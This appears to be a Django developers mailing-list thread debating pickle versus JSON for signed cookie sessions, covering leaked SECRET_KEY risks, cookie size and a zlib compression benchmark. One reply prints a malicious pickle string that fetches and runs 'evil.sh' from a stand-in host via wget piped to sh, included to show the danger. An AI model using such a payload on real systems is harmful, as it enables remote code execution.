I believe that our signing implementation is secure and correct.
However, I know that users of Django screw up from time to time. It's
not uncommon to see SECRET_KEY in a git repository, and that value is
often used in production. If SECRET_KEY is compromised, an attacker
can sign arbitrary cookie data. The use of pickle changes an attack
from "screw up the data in this application" to "arbitrary remote code
execution".
In light of this, we should be conservative and use JSON by
default instead of pickle.
-Paul
If the size of the cookie turns out to be a problem, using compressed JSON instead of JSON is a very simple change. I tested on my crummy old laptop, and using zlib one can compress + decompress roughly 5000 short strings in a second. On reasonable hardware I guess that figure will be 10000-30000 per thread. In the limit, when the compressed size is around 4Kb, one can compress about 500 strings a second (or 1000-3000 on reasonable hardware). So, this could cause some performance concerns in extreme cases, but probably not enough to worry about.
The test program is simple:
import bz2
from datetime import datetime
import json
import random
import zlib
nums = [random.randint(0, 100000) for _ in range(0, 1000)]
var = json.dumps({'nums': nums})
start = datetime.now()
for i in range(0, 1000):
compressed = zlib.compress(var)
uncompressed = zlib.decompress(compressed)
print datetime.now() - start
print len(var)
print len(compressed)
Note that when compressing random integers, one will still get over 50% compression. On more realistic data, the compression should be more.
- Anssi
The other downside to JSON is that you can't serialize native Python
objects into a session, but you probably shouldn't be doing that
anyway.
-Paul
[1] https://code.djangoproject.com/browser/django/trunk/django/core/signing.py#L102
Only cookies are meant to be there :P
> --
> You received this message because you are subscribed to the Google Groups "Django developers" group.
> To post to this group, send email to django-d...@googlegroups.com.
> To unsubscribe from this group, send email to django-develop...@googlegroups.com.
> For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
>
>
You may be right about users screwing things up once in a while but
that's entirely unrelated to the fact that the sessions app expects
every backend to handle any (read: pickle-able) data you hand it. At
least that's the status quo on how every session backend I've seen
works.
That's why we haven't used the JSON encoder but instead opted to a
pickled encoder in the session backend, which was already a deviation
in the related signed cookies code which does indeed use JSON.
So, long story short, I don't think you made a convincing argument
to me in proposing to ship a non-conforming session backend. Hence
I propose to instead promote the section about SECRET_KEY in the
session docs to a "big fat warning" and let the users decide how and
when they use it.
Jannis
> P.S.: Btw, if you leak your secret key, you can get an admin user with a
> json backend too, while not being remote code execution it's still something
> I would consider as catastrophic as code execution in most of my projects.
No. It's far less catastrophic. It just means I'm a Django admin and can trash that project (which you can then restore from the backups). I can't own all your other Django projects on the same machine, steal your deploy keys, root your server, and then configure it to attack your dev machine when you SSH into it to see why weird things are happening. Remote code execution is BAD.
data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
import pickle; pickle.loads(data)And then open a new bash window.
Yeah. Dropping pickle would be a pretty major departure from the way
the other session backends work. This backend already has several
other properties that make it uniquely different:
- ~4k character limit
- limited enforcement of session destruction
- transparency of session contents
I wasn't sure if changing the "pickleable" feature might be an
acceptable tradeoff.
> So, long story short, I don't think you made a convincing argument
> to me in proposing to ship a non-conforming session backend. Hence
> I propose to instead promote the section about SECRET_KEY in the
> session docs to a "big fat warning" and let the users decide how and
> when they use it.
That would be a good option.
I need to apologize (particularly to Jannis who worked really hard to
get this feature into core) that my original message sounded like
nobody thought about this before they implemented it. It was discussed
(and documented as part of the signing code).
My primary concern here is the expanded reliance on SECRET_KEY for
security. As a general principle, the less we rely on it directly for
our security, the better. We currently use SECRET_KEY on a limited
basis internally:
- salt for random token generation
- signing messages and sessions stored on disk
- signing intermediate data in formtools
- the signing framework (not used much internally yet) and salted_hmac
- these cookies (which use the signing framework)
As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.
-Paul
Isn't there also the possibility that the attacker can somehow get arbitrary data signed into the session cookie without knowing SECRET_KEY? This could be due to a bug in the session framework or the developer does something really stupid. If this would be the case, then the bug would result in remote code execution exploit instead of the user being able to manipulate his session. Which sounds kinda scary.
If this is not changed to use JSON, there must be a warning that if the attacker can somehow change the contents of the cookie while keeping it signed, this results in remote exploit. One such way is knowing the SECRET_KEY.
My feeling is that this should be changed.
- Anssi
> Isn't there also the possibility that the attacker can somehow get arbitrary data signed into the session cookie without knowing SECRET_KEY?
That's not a viable attack route. It's much less likely than a
developer exposing their SECRET_KEY. The signing process for the
cookie pickles the data passed in, and it's not possible to create a
malicious pickle by passing arbitrary data into the pickle function.
It's only possible if the data can be modified after it has been
pickled, which the signing explicitly prevents.
> Forgetaboutit, the exact same problem is there for every session backend. This btw means that having write access to django_session table means exploit of all Django instances using that DB, right?
No, the same problem is not there for every session backend. The ones
which are written to disk are signed in the same fashion. It is
assumed that if an attacker has raw write access to your database, you
have much bigger problems (especially since many databases directly
allow system-level code execution in some form or another). I've
looked at that code extensively, it's fine.
-Paul
- Anssi
The biggest risk that comes to mind is doing a quick little demo
project, left it running somewhere publicly while also releasing the
source code of that demo project. You might not care about the data you
have in that demo, so having SECRET_KEY revealed doesn't sound that bad.
For example I have done exactly the above, though only to internally
available machine here at work. If I was using cookie backend, that
would mean I also gave remote shell rights to my box which doesn't sound
nice. I wonder if I am the only one who has done that.
On the other hand having my user account's password accidentally
revealed means also remote shell, so in that way there is no big
difference here...
- Anssi
The default is secure. If you don't disclose your secret key, you
don't have a problem.
JSON is considerably more verbose. Cookie space is limited. JSON
doesn't support many of the data structures people store in sessions.
There are many reasons to store data in sessions beyond FormWizard. It
already isn't a drop-in replacement, since it has limitations the
other ones don't have.